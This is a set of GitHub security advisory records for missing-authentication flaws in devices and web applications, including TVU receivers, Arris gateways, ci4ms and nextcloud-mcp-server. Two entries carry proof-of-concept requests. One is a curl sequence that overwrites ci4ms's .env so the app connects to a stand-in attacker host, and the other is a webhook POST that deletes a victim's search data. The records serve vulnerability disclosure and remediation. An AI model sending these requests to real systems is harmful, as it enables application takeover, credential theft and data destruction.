CWE-306

{
  "affected": [],
  "aliases": [
    "CVE-2026-104076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-08T20:17:29Z",
    "severity": "CRITICAL"
  },
  "details": "TVU Networks Receiver/Transceiver devices running firmware before version 7.9 contain a missing authentication vulnerability that allows remote unauthenticated attackers to read sensitive device information and modify device configuration via unprotected REST API endpoints on port 8288. Attackers can send unauthenticated GET requests to disclose network configuration, firmware details, and cloud service information, or issue POST requests to endpoints such as /Setting3/API/API/v1/LocalNetwork/DNS to alter DNS settings and enable man-in-the-middle attacks on outbound connections to TVU cloud infrastructure.",
  "id": "GHSA-8r82-mqvw-r8jr",
  "modified": "2026-10-08T21:33:25Z",
  "published": "2026-10-08T21:33:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104076"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list/#authentication-bypass-in-tvu-receiver-transceiver-web-management-interface"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tvu-networks-receiver-transceiver-missing-authentication-via-rest-api"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-13382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-01T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "openSIS through 7.4 has Incorrect Access Control.",
  "id": "GHSA-8r9c-hvwg-q85h",
  "modified": "2022-05-24T17:22:10Z",
  "published": "2022-05-24T17:22:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13382"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OS4ED/openSIS-Responsive-Design/commits/master"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158255/openSIS-7.4-Incorrect-Access-Control.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/158331/openSIS-7.4-Unauthenticated-PHP-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-16771"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-28T19:17:32Z",
    "severity": "HIGH"
  },
  "details": "In firmware versions 2.7.7 and earlier, the Arris BGW210\u2011700 gateway fails to enforce any server\u2011side authentication on its /cgi-bin/*.ha management endpoints, relying solely on client\u2011side CSS/JavaScript gating that can be bypassed by any HTTP client. This allows unauthenticated attackers on the LAN to read sensitive configuration data, modify persistent device settings, or trigger backend diagnostic operations. The issue appears systemic across the CGI handler chain.",
  "id": "GHSA-8rcq-gm95-4hqg",
  "modified": "2026-07-28T21:31:31Z",
  "published": "2026-07-28T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16771"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/141367"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/141367"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-59804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-08T20:16:56Z",
    "severity": "HIGH"
  },
  "details": "Midscene Bridge Server through 1.10.3, fixed in commit 86f4118, contains a missing authentication and CORS misconfiguration vulnerability that allows unauthenticated remote attackers to hijack active bridge sessions by opening a cross-origin WebSocket connection to the local Socket.IO server, which performs no Origin header validation and requires no authentication token. Attackers can connect from any web page visited by the victim to seize the single-client slot, intercept and inject automation commands, exfiltrate command-payload data, or unconditionally terminate the server by supplying the MIDSCENE_BRIDGE_SIGNAL_KILL query parameter.",
  "id": "GHSA-8rcx-4rjr-4wpf",
  "modified": "2026-07-08T21:30:29Z",
  "published": "2026-07-08T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59804"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/midscene/issues/2752"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/midscene/pull/2759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/midscene/commit/86f4118d1d847041c63d79e347e08c87c3f1a882"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/midscene-bridge-server-session-hijack-via-unauthenticated-websocket"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-16876"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-07T02:17:17Z",
    "severity": "CRITICAL"
  },
  "details": "An authentication bypass vulnerability exists in the WebGUI of Series UNIVERGE IX-R/IX-V. A user could bypass authentication and execute arbitrary CLI commands by tampering with WebGUI messages and sending them to the device via internet.",
  "id": "GHSA-8rh4-5q7c-x6qf",
  "modified": "2026-09-07T03:30:21Z",
  "published": "2026-09-07T03:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16876"
    },
    {
      "type": "WEB",
      "url": "https://jpn.nec.com/security-info/secinfo/nv26-005_en.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:15:57Z",
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe install route guard in ci4ms relies solely on a volatile cache check (`cache(\u0027settings\u0027)`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover.\n\n## Details\n\nThe `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the install guard:\n\n```php\npublic function before(RequestInterface $request, $arguments = null)\n{\n    if (file_exists(ROOTPATH . \u0027.env\u0027) \u0026\u0026 !empty(cache(\u0027settings\u0027))) return show_404();\n}\n```\n\nThis requires **both** conditions \u2014 `.env` existence AND non-empty cache \u2014 to block access. The cache population happens in `app/Config/Filters.php:128-151` during the Filters constructor, which runs before route-specific filters:\n\n```php\npublic function __construct()\n{\n    parent::__construct();\n    if (is_file(ROOTPATH . \u0027.env\u0027)) {\n        try {\n            $this-\u003ecommonModel = new CommonModel();\n            if (empty(cache(\u0027settings\u0027)) \u0026\u0026 $this-\u003ecommonModel-\u003edb-\u003etableExists(\u0027settings\u0027)) {\n                $this-\u003esettings = $this-\u003ecommonModel-\u003elists(\u0027settings\u0027);\n                // ... populate cache ...\n                cache()-\u003esave(\u0027settings\u0027, $set, 86400); // 24h TTL\n            }\n        } catch (\\Throwable $e) {\n            $this-\u003esettings = (object)[]; // Silently swallow ALL exceptions\n        }\n    }\n```\n\nWhen the database is unreachable (connection failure, timeout, maintenance), the `\\Throwable` catch at line 148-150 silently swallows the exception. The cache remains empty, and `InstallFilter::before()` sees `empty(cache(\u0027settings\u0027))` as true, allowing the request through.\n\nThe install controller at `modules/Install/Controllers/Install.php:10-87` then processes the POST:\n\n1. The `host` parameter at line 35 is **not present in the validation rules** (`$valData`, lines 13-27) \u2014 it is written directly from `$this-\u003erequest-\u003egetPost(\u0027host\u0027)` to `.env` with zero validation\n2. `copyEnvFile()` (line 70) overwrites the existing `.env` by copying from the `env` template\n3. `updateEnvSettings()` (line 70) writes attacker-controlled values including database hostname\n4. No database connection is needed \u2014 the `index()` action only performs filesystem operations\n\nAdditionally, CSRF protection is explicitly disabled for all install routes in `modules/Install/Config/InstallConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n    \u0027install\u0027,\n    \u0027install/*\u0027\n];\n```\n\nThe cache has a 24-hour TTL (`Filters.php:143`), and `cache()-\u003edelete(\u0027settings\u0027)` is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.\n\n## PoC\n\n**Prerequisites:** The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the `settings` cache has expired or been cleared.\n\n```bash\n# Step 1: Verify the install route is accessible (DB outage + cache miss)\ncurl -s -o /dev/null -w \"%{http_code}\" http://target/install\n# Expected: 200 (instead of 404)\n\n# Step 2: Overwrite .env with attacker-controlled database credentials\ncurl -X POST http://target/install \\\n  -d \u0027baseUrl=http://target/\u0027 \\\n  -d \u0027host=attacker-db.evil.com\u0027 \\\n  -d \u0027dbname=ci4ms\u0027 \\\n  -d \u0027dbusername=root\u0027 \\\n  -d \u0027dbpassword=pass\u0027 \\\n  -d \u0027dbdriver=MySQLi\u0027 \\\n  -d \u0027dbpre=\u0027 \\\n  -d \u0027dbport=3306\u0027 \\\n  -d \u0027name=Admin\u0027 \\\n  -d \u0027surname=Evil\u0027 \\\n  -d \u0027username=admin\u0027 \\\n  -d \u0027password=Evil1234!\u0027 \\\n  -d \u0027email=evil@attacker.com\u0027 \\\n  -d \u0027siteName=Pwned\u0027\n# No CSRF token required (CSRF exempt for install routes)\n# .env is now overwritten with attacker\u0027s DB hostname\n\n# Step 3: Follow redirect to /install/dbsetup\n# This runs migrations on the attacker-controlled database and creates an admin account\n# The application now connects to attacker\u0027s database = full takeover\n```\n\n## Impact\n\nWhen exploited during a database outage coinciding with cache expiry:\n\n- **Full application takeover**: The `.env` file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server\n- **Credential theft**: All subsequent user logins, form submissions, and API calls send data to the attacker\u0027s database\n- **Data integrity loss**: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation\n- **Encryption key reset**: `generateEncryptionKey()` is called (line 70), invalidating all existing encrypted data and sessions\n\nThe attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.\n\n## Recommended Fix\n\nReplace the volatile cache-based install guard with a persistent filesystem lock:\n\n```php\n// modules/Install/Filters/InstallFilter.php\nclass InstallFilter implements FilterInterface\n{\n    public function before(RequestInterface $request, $arguments = null)\n    {\n        // Use a persistent filesystem lock instead of volatile cache\n        if (file_exists(WRITEPATH . \u0027installed.lock\u0027)) {\n            return show_404();\n        }\n    }\n}\n```\n\nCreate the lock file at the end of successful installation in `Install::dbsetup()`:\n\n```php\n// At the end of dbsetup(), after successful migration and setup:\nfile_put_contents(WRITEPATH . \u0027installed.lock\u0027, date(\u0027Y-m-d H:i:s\u0027));\n```\n\nAdditionally, add validation for the `host` parameter in `Install::index()`:\n\n```php\n$valData[\u0027host\u0027] = [\n    \u0027label\u0027 =\u003e lang(\u0027Install.databaseHost\u0027),\n    \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]\u0027\n];\n```",
  "id": "GHSA-8rh5-4mvx-xj7j",
  "modified": "2026-04-08T19:15:57Z",
  "published": "2026-04-08T19:15:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8rh5-4mvx-xj7j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39393"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-67208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T20:18:14Z",
    "severity": "CRITICAL"
  },
  "details": "Juggle through 1.6.0 contains a remote code execution vulnerability that allows unauthenticated remote attackers to execute arbitrary OS commands by connecting to the exposed H2 database web console using default shipped credentials. Attackers can access the unprotected /h2-console endpoint, authenticate with default credentials, and leverage the H2 CREATE ALIAS Runtime.exec() technique to execute arbitrary commands, resulting in root-level code execution when running the stock Docker image.",
  "id": "GHSA-8rhq-39vx-cjqx",
  "modified": "2026-07-30T21:31:50Z",
  "published": "2026-07-30T21:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/somta/Juggle/issues/86"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/juggle-unauthenticated-rce-via-exposed-h2-console"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-100672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T14:16:50Z",
    "severity": "HIGH"
  },
  "details": "The Comments plugin (getgrav/grav-plugin-comments) for Grav CMS through version 1.2.10 registers an admin handler that returns comment data as JSON without any authentication check. The handler branches on isAdmin(), which only indicates that the admin service is registered on the current route rather than that the visitor is authenticated, and it echoes the JSON and calls exit() during the plugins stage, before the classic Admin plugin would render its login screen. On a site using the classic Admin plugin with Comments enabled (the default), an unauthenticated remote attacker can request /admin/comments/page:\u003cn\u003e (e.g. page:0.001) and retrieve every comment from the last 7 days, including each commenter\u0027s email address and the absolute server filesystem path of the data file. Sites running the Grav 2.0 Admin Next stack (admin2 + api) are not affected via this path. The issue is fixed in 1.2.11, which requires an authenticated user with admin.comments or admin.super and removes the absolute filePath from the response.",
  "id": "GHSA-8rj9-9ch5-2f4r",
  "modified": "2026-09-26T15:31:20Z",
  "published": "2026-09-26T15:31:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-3cq9-f4pf-hq59"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100672"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-plugin-comments-before-1.2.11-unauthenticated-information-disclosure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-34207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T21:15:34Z",
    "severity": "HIGH"
  },
  "details": "Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to 22.0.1049 and Application prior to 20.0.2786 (VA and SaaS deployments)\u00a0configure the SSH client within Docker instances with the following options: `UserKnownHostsFile=/dev/null`, `StrictHostKeyChecking=no`, and `ForwardAgent yes`.  These settings disable verification of the remote host\u2019s SSH key and automatically forward the developer\u2019s SSH\u2011agent to any host that matches the configured wildcard patterns.  As a result, an attacker who can reach a single compromised container can cause the container to connect to a malicious SSH server, capture the forwarded private keys, and use those keys for unrestricted lateral movement across the environment.",
  "id": "GHSA-8v7v-hv29-cp2f",
  "modified": "2025-10-03T18:31:24Z",
  "published": "2025-09-29T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34207"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/va/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html#va-insecure-ssh-config"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vasion-print-printerlogic-insecure-ssh-client-config"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.117.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nextcloud-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.117.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T16:04:15Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe `POST /webhooks/nextcloud` endpoint has no authentication by default: `WEBHOOK_SECRET` defaults to `None` and is never required by startup validation. When unset, the receiver accepts any unauthenticated POST. The `user_id` is taken directly from the attacker-supplied payload and passed to Qdrant, allowing an unauthenticated attacker to delete or corrupt vector embeddings for any user.\n\n## Details\n**Vulnerable file:** `nextcloud_mcp_server/vector/webhook_receiver.py`, function `handle_nextcloud_webhook()`, **lines 55-67**\n\n**Root cause 1**: Auth check is guarded by `if secret`: - skipped entirely when `WEBHOOK_SECRET` is unset.\n\n**Root cause 2**: `webhook_secret: str | None = None` in config - no startup validator enforces it, even when vector sync is enabled.\n\n**Trusted field**: `payload[\"user\"][\"uid\"]` in `webhook_parser.py` is used as-is for all Qdrant operations - no cross-check against an authenticated session.\n\n`webhook_receiver.py`, **lines 55-67**:\n```python\nsecret = get_settings().webhook_secret  # None by default\nif secret:                           # skipped entirely when unset\n    ... validate Bearer header ...\nelse:\n    _warn_missing_secret_once()     # just logs, still processes\n```\n`webhook_parser.py`, **line 57**:\n```python\nuser_id = payload[\"user\"][\"uid\"]     # attacker-controlled\n```\n## PoC\n**No credentials required**. Works on any deployment where `WEBHOOK_SECRET` is not explicitly set (the default).\n```json\nPOST /webhooks/nextcloud\nContent-Type: application/json\n\n{\n  \"event\": {\n    \"class\": \"OCP\\\\Files\\\\Events\\\\Node\\\\BeforeNodeDeletedEvent\",\n    \"node\": { \"path\": \"/victim/files/Notes/any.md\", \"id\": 12345 }\n  },\n  \"user\": { \"uid\": \"victim\" },\n  \"time\": 0\n}\n```\n**Result:** **Qdrant** deletes all vector embeddings for `victim` doc `12345` with **no authentication**. Attacker can loop over doc IDs for mass deletion.  All user targets accepted.\n\n\n## Impact\n+ Anyone on the network with access to port `8000` - no credentials needed.\n+ Attacker can delete or trigger re-index of any user\u0027s vector embeddings in Qdrant by spoofing `user.uid` in the payload.\n+ Mass-sending delete events for all doc IDs destroys the entire semantic search index for all users, requiring a full re-scan to recover.\n\n## Recommend Fix\n1. Enforce `WEBHOOK_SECRET` at startup ( file `config_validators.py` )\n```python\nif vector_sync_enabled and not settings.webhook_secret:\n    raise ConfigurationError(\n        \"WEBHOOK_SECRET must be set when vector sync is enabled\"\n    )\n```\n2. Reject requests when secret is unset ( file `webhook_receiver.py` )\n```python\nsecret = get_settings().webhook_secret\nif not secret:\n    return JSONResponse({\"status\": \"unavailable\"}, status_code=503)\nprovided = request.headers.get(\"authorization\", \"\").encode()\nif not hmac.compare_digest(provided, f\"Bearer {secret}\".encode()):\n    return JSONResponse({\"status\": \"unauthorized\"}, status_code=401)\n```",
  "id": "GHSA-8vh3-g2qg-2h2c",
  "modified": "2026-08-25T16:04:15Z",
  "published": "2026-08-25T16:04:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server/security/advisories/GHSA-8vh3-g2qg-2h2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server/commit/4fc2b10945108cf1008ec9698291de6706ffcb73"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server/tree/v0.117.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nextcloud-mcp-server: Unauthenticated `POST /webhooks/nextcloud` allows arbitrary vector data deletion when `WEBHOOK_SECRET` is unset ( default )"
}